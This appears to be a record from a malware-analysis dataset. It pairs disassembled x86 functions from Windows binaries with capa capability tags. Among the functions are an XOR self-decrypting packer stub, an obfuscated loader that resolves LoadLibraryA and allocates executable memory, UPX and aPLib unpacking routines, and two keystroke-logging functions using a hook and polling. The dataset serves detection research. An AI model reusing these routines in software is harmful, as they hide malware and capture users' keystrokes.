joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001040f
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x100162d0]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x10010440
xor eax, eax
jmp 0x100105c9
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x10017f40]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x1001047c
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.10010dd7
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x10010557
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x10010595
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x100104e0
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x100104d1
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x100104b1
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10010520
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x10010529
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x100104a2
jmp 0x1001052b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x100105c4
cmp dword [ebp - 0x6c], edi
je 0x10010595
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x1001058a
call fcn.1000db5f
mov dword [eax], 9
call fcn.1000db68
mov dword [eax], esi
jmp 0x100105bf
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1001057f
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x1001052b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x1001052b
push dword [ebp - 0x6c]
call fcn.1000db71
pop ecx
jmp 0x100105bf
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x100105ad
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x100105ad
xor eax, eax
jmp 0x100105c7
call fcn.1000db5f
mov dword [eax], 0x1c
call fcn.1000db68
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x100105c7
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.1000986e
add ebp, 0x3a0
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10002b2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add ecx, 0x20
pop ebp
jmp fcn.100016da

Function at 0x10006590
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [section..data]
cmp esi, 0xffffffff
jne 0x100065b3
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov esi, eax
mov dword [section..data], eax
cmp eax, 0xffffffff
je 0x100065f6
push esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
push eax
call fcn.1002cd5b
add esp, 4
mov ebx, dword [sym.imp.kernel32.dll_TlsSetValue]
push 0
push esi
call ebx
push 0x14
call fcn.1002cd5b
add esp, 4
mov edi, eax
push eax
push esi
call ebx
movaps xmm0, xmmword [0x10040c10]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
jmp 0x100065de

Function at 0x100065fa
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
xorps xmm0, xmm0
movups xmmword [esp], xmm0
call fcn.10005b20
sub esp, 0x10
mov esi, dword [section..data]
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
mov dword [esp], eax
call fcn.1002cd5b
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.kernel32.dll_TlsSetValue]
add esp, 8
pop esi
pop ebp
ret

Function at 0x100066a2
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [section..data]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x100066b7
pop ebp
ret
pop ebp
jmp fcn.10006590

Function at 0x10008df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008e1f
shl eax, 4
movsx esi, byte [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
inc edx
cmp ecx, edx
jne 0x10008e01
pop esi
pop edi
pop ebp
ret 8

Function at 0x10008f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008f61
shl eax, 4
movzx esi, word [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
add edx, 2
cmp ecx, edx
jne 0x10008f41
pop esi
pop edi
pop ebp
ret 8
Function at 0x1002cd5b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1002cd6a
pop dword [ebp - 0x4c]
mov eax, 0x1002cd6a
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x3eeb229e
add dword [ebp - 0x5c], 0xf6722ad
mov dword [ebp - 0x58], 0x9955c351
sub dword [ebp - 0x58], 0x6722770c
mov dword [ebp - 0x54], 0x3d86f7b3
add dword [ebp - 0x54], 0xec54c7b
mov dword [ebp - 0x50], 0xf9336dcc
add dword [ebp - 0x50], 0x6cc9234
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x2add1fcf
sub dword [ebp - 0x5c], 0xb66ab679
mov dword [ebp - 0x58], 0x1f07fea
add dword [ebp - 0x58], 0x3f7be18b
mov dword [ebp - 0x54], 0x1af13464
sub dword [ebp - 0x54], 0xb781c7f8
mov dword [ebp - 0x50], 0xa1fb99f9
sub dword [ebp - 0x50], 0xa1fb99f9
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x8c979a08
add eax, 0x836d347c
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e1a4
push 0
call eax
mov ecx, 0x42c6fb8
add ecx, 0xfbd3d205
mov esi, eax
mov edi, 0xcda97d60
add edi, 0x425c36a0
add edi, dword [ebp - 0x4c]
mov edx, 0x6f713bc7
add edx, 0xdf03f150
xor dword [ebp - 8], 0x4ca79cb0
mov ebx, dword [edi]
xor dword [ebp - 0x2c], ecx
add ebx, edx
xor dword [ebp - 0x3c], 0xe8b39e7
mov dword [esi], ebx
sub dword [ebp - 4], esi
add esi, 0x34ad0fea
add esi, 0xcb52f01a
add edi, 0x795233cd
sub edi, 0x795233c9
loop 0x1002ce82
add eax, 0xf9c7
xor ebx, ebx
add ebx, eax
add eax, 0x10e6c142
sub eax, 0x10e6c13d
mov ecx, 0x21bd109d
sub ecx, 0x11bd109d
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0xa30058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xa301a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa3007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa3006a
add dl, dl
jne 0xa30089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa300dc
xor eax, eax
add dl, dl
jne 0xa30096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa3017d
add dl, dl
jne 0xa300a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa300b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa300bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa300c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa300d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa30075
mov eax, 1
add dl, dl
jne 0xa300ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa300f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa300e1
sub eax, ebx
mov ebx, 1
jne 0xa30128
mov ecx, 1
add dl, dl
jne 0xa3010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa30119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa30105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa30075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa3013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa3014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa30136
cmp eax, 0x7d00
jae 0xa3016d
cmp eax, 0x500
jb 0xa30168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa30075
cmp eax, 0x7f
ja 0xa30170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa30075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa3019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa30075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x480a50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x54000]
push edi
or ebp, 0xffffffff
jmp 0x480a72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x480a79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x480a68
mov eax, 1
add ebx, ebx
jne 0x480a8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x480a9c
jne 0x480abb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x480abb
dec eax
add ebx, ebx
jne 0x480aa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x480a80
add ebx, ebx
jne 0x480ab7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x480b0d
xor ecx, ecx
sub eax, 3
jb 0x480ad3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x480b42
sar eax, 1
mov ebp, eax
jmp 0x480ade
add ebx, ebx
jne 0x480ade
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x480aac
inc ecx
add ebx, ebx
jne 0x480aec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x480aac
add ebx, ebx
jne 0x480af9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x480aee
jne 0x480b0a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x480aee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x480b2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x480b1e
jmp 0x480a6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x480b2c
add edi, ecx
jmp 0x480a6e
pop esi
mov edi, esi
mov ecx, 0x2748
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x480b4a
cmp byte [edi], 0x11
jne 0x480b4a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x480b4f
lea edi, [esi + 0x7e000]
mov eax, dword [edi]
or eax, eax
je 0x480bbe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8db34]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8dbac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x480b7c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8dbb0]
or eax, eax
je 0x480bb8
mov dword [ebx], eax
add ebx, 4
jmp 0x480b99
call dword [esi + 0x8dbc0]
mov ebp, dword [esi + 0x8dbb4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x480bf2
sub esp, 0xffffff80
jmp 0x43ac72
Function at 0x402d50
Capabilities:
Log keystrokes via application hook

Disassembly:
push esi
push 0
push 0
push dword [esp + 0x10]
push 0xd
call sub.USER32.dll_SetWindowsHookExA
test eax, eax
je 0x402d72
mov dword [0x4250d0], eax
mov esi, 2
mov eax, esi
pop esi
ret
mov esi, 1
call sub.KERNEL32.dll_GetLastError
mov edx, eax
mov eax, esi
pop esi
ret

Function at 0x402e10
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x120
mov eax, dword [ebp + 0x10]
xorps xmm0, xmm0
mov ecx, dword [eax]
mov eax, dword [eax + 4]
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
movaps xmmword [esp + 0xe0], xmm0
movaps xmmword [esp + 0xd0], xmm0
movaps xmmword [esp + 0xc0], xmm0
movaps xmmword [esp + 0xb0], xmm0
movaps xmmword [esp + 0xa0], xmm0
movaps xmmword [esp + 0x90], xmm0
movaps xmmword [esp + 0x80], xmm0
movaps xmmword [esp + 0x70], xmm0
movaps xmmword [esp + 0x60], xmm0
movaps xmmword [esp + 0x50], xmm0
movaps xmmword [esp + 0x40], xmm0
movaps xmmword [esp + 0x30], xmm0
movaps xmmword [esp + 0x20], xmm0
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
push 0x10
call sub.USER32.dll_GetKeyState
call sub.USER32.dll_GetForegroundWindow
push 0
push eax
call sub.USER32.dll_GetWindowThreadProcessId
mov esi, eax
call sub.KERNEL32.dll_GetCurrentThreadId
mov ebx, eax
push 1
mov dword [esp + 8], esi
push esi
push eax
call sub.USER32.dll_AttachThreadInput
mov edi, eax
lea eax, [esp + 0x10]
push eax
call sub.USER32.dll_GetKeyboardState
mov esi, eax
cmp edi, 1
jne 0x402ee6
push 0
push dword [esp + 8]
push ebx
call sub.USER32.dll_AttachThreadInput
cmp esi, 1
jne 0x402f1d
mov esi, dword [ebp + 0xc]
lea eax, [esi + 8]
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, dword [ebp + 8]
mov edx, esi
mov ecx, edi
push dword [esp + 8]
push dword [esp + 0x10]
call fcn.00402f30
add esp, 8
jmp 0x402f26
mov edi, dword [ebp + 8]
mov dword [edi], 0
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406400
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x434
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x410210
lea eax, [ebp - 0x18]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea eax, [ebp - 0x440]
push 0x400
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [0x41e914]
mov ebx, 0x200
xor esi, esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], 0
cmp ebx, 0x201
jae 0x406482
jmp 0x4064c0
cmp edi, ebx
mov ebx, edi
jb 0x406516
cmp ebx, 0x201
jb 0x4064c0
mov ecx, dword [ebp - 0x30]
mov eax, ebx
sub eax, esi
sub ecx, esi
cmp ecx, eax
jae 0x4064b0
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x34]
mov edx, esi
push eax
call fcn.0041d100
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov edi, dword [ebp - 0x20]
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
jmp 0x4064cd
lea edi, [ebp - 0x440]
mov dword [ebp - 0x28], 0x200
mov dword [ebp - 0x24], edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, eax
test eax, eax
jne 0x4064f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x406554
cmp edi, ebx
jne 0x406470
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x406470
add ebx, ebx
cmp ebx, 0x201
jb 0x4064c0
jmp 0x406482
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0
cmp edi, eax
ja 0x4065a3
lea eax, [ebp - 0x40]
push edi
push dword [ebp - 0x24]
push eax
call fcn.00408c30
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp + 8]
movsd xmm0, qword [ebp - 0x40]
mov dword [esi + 0xc], eax
movsd qword [esi + 4], xmm0
xor eax, eax
mov dword [esi], eax
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x406575
jmp 0x40658d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp + 8]
mov dword [esi + 8], eax
mov eax, 1
mov dword [esi + 4], 0
mov dword [esi], eax
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40658d
cmp dword [ebp - 0x20], 0
je 0x40658d
add eax, eax
je 0x40658d
push 2
push eax
push dword [ebp - 0x20]
call fcn.004026d0
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, esi
add esp, 0x434
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x41ff10
push eax
push edi
call fcn.0041d880
add esp, 0xc
ud2
Function at 0x4099e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc0
mov esi, dword [esp + 0xdc]
mov edi, dword [esp + 0xe0]
lea eax, [esp + 4]
push dword [esp + 0xd8]
push dword [esp + 0xd8]
push eax
call fcn.00409bd0
add esp, 0xc
lea eax, [esp + 0xa0]
push edi
push esi
push eax
call fcn.00409bd0
add esp, 0xc
lea ebp, [esp + 0x2d]
lea esi, [esp + 0x60]
nop dword [eax]
movzx edx, byte [esp + 0xc]
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, esi
cmp dl, 6
je 0x409a65
lea esi, [esp + 4]
mov ebx, dword [esi + 0x18]
movsd xmm0, qword [esi + 9]
movsd xmm1, qword [esi + 0x11]
mov dword [esp + 0x6f], ebx
movsd qword [esp + 0x68], xmm1
movsd qword [esp + 0x60], xmm0
mov dword [esp + 0x24], eax
movzx ebx, byte [esp + 0x20]
movsd xmm1, qword [esp + 0x68]
mov eax, dword [esp + 0x6f]
movzx esi, word [esp + 0x21]
movsd xmm0, qword [esp + 0x60]
mov dword [esp + 0x28], ecx
mov byte [esp + 0x2c], dl
movsd qword [ebp + 8], xmm1
mov dword [ebp + 0xf], eax
lea eax, [esp + 0x24]
test bl, bl
movsd qword [ebp], xmm0
setne byte [esp + 0x40]
mov word [esp + 0x41], si
push eax
mov esi, edi
push edi
call fcn.004095d0
add esp, 8
lea eax, [esp + 0xa0]
push eax
lea edi, [esp + 0x84]
push edi
call fcn.004095d0
add esp, 8
mov ecx, dword [esp + 0x80]
cmp dword [esp + 0x60], 5
je 0x409b25
cmp ecx, 5
je 0x409b2c
mov ecx, esi
mov edx, edi
call fcn.0040dba0
test al, al
je 0x409b75
movsd xmm1, qword [esp + 0x2c]
movsd xmm0, qword [esp + 0x24]
movsd xmm2, qword [esp + 0x34]
movsd qword [esp + 0xc], xmm1
movsd xmm1, qword [esp + 0x3c]
movsd qword [esp + 4], xmm0
movsd qword [esp + 0x14], xmm2
movsd qword [esp + 0x1c], xmm1
jmp 0x409a30
mov al, 2
cmp ecx, 5
jne 0x409b6d
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
movsd xmm0, qword [esp + 0x14]
movsd xmm1, qword [esp + 0xc]
mov dword [esp + 0x5c], eax
movzx eax, word [ecx + 0x1d]
movsd qword [esp + 0x54], xmm0
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x4c], xmm1
mov word [esp], ax
mov al, byte [ecx + 0x1f]
movsd qword [esp + 0x44], xmm0
mov byte [esp + 2], al
mov eax, ebx
cmp al, 2
jne 0x409b7b
xor eax, eax
jmp 0x409bc5
mov al, 2
cmp al, 2
je 0x409b71
mov ecx, dword [esp + 0x5c]
movsd xmm0, qword [esp + 0x54]
movsd xmm2, qword [esp + 0x44]
movsd xmm1, qword [esp + 0x4c]
mov dword [esp + 0x78], ecx
movsd qword [esp + 0x70], xmm0
movsd qword [esp + 0x68], xmm1
movsd qword [esp + 0x60], xmm2
mov byte [esp + 0x7c], al
movzx eax, word [esp]
mov word [esp + 0x7d], ax
mov al, byte [esp + 2]
mov byte [esp + 0x7f], al
push esi
call fcn.00408ff0
add esp, 4
add esp, 0xc0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40b4f0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x5c
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x4103e0
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x18]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
push 0x425238
call dword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov dword [ebp - 0x20], 0x425238
mov esi, dword [edi]
test esi, esi
jne 0x40b595
mov ebx, dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40b5b1
mov esi, eax
test ebx, ebx
je 0x40b58d
push 4
push 0xc
call fcn.004026c0
add esp, 8
test eax, eax
je 0x40b659
mov dword [eax], ebx
mov dword [eax + 4], esi
mov dword [eax + 8], 0
mov ecx, eax
mov eax, dword [0x42525c]
nop word cs:[eax + eax]
nop dword [eax]
mov dword [ecx + 8], eax
lock cmpxchg dword [0x42525c], ecx
jne 0x40b580
mov eax, esi
test esi, esi
xchg dword [edi], eax
je 0x40b5ce
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, esi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10], 0
push 0x41fe38
push 0x2e
push str.assertion_failed:_key___c::TLS_OUT_OF_INDEXESlibrary_std_src_syswindows_thread_local_key.rs
call fcn.0041d6c0
add esp, 0xc
ud2
lea eax, [ebp - 0x68]
mov dword [ebp - 0x50], 0x41f4f0
mov dword [ebp - 0x4c], 2
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x68], 0x41f4d0
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x41e660
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x34], 0x418fe0
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x3c], 1
push eax
push ecx
call fcn.004086f0
add esp, 8
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
call fcn.004044d0
mov ecx, 7
int 0x29
ud2
push 4
push 0xc
call fcn.0041d5b0
add esp, 8
ud2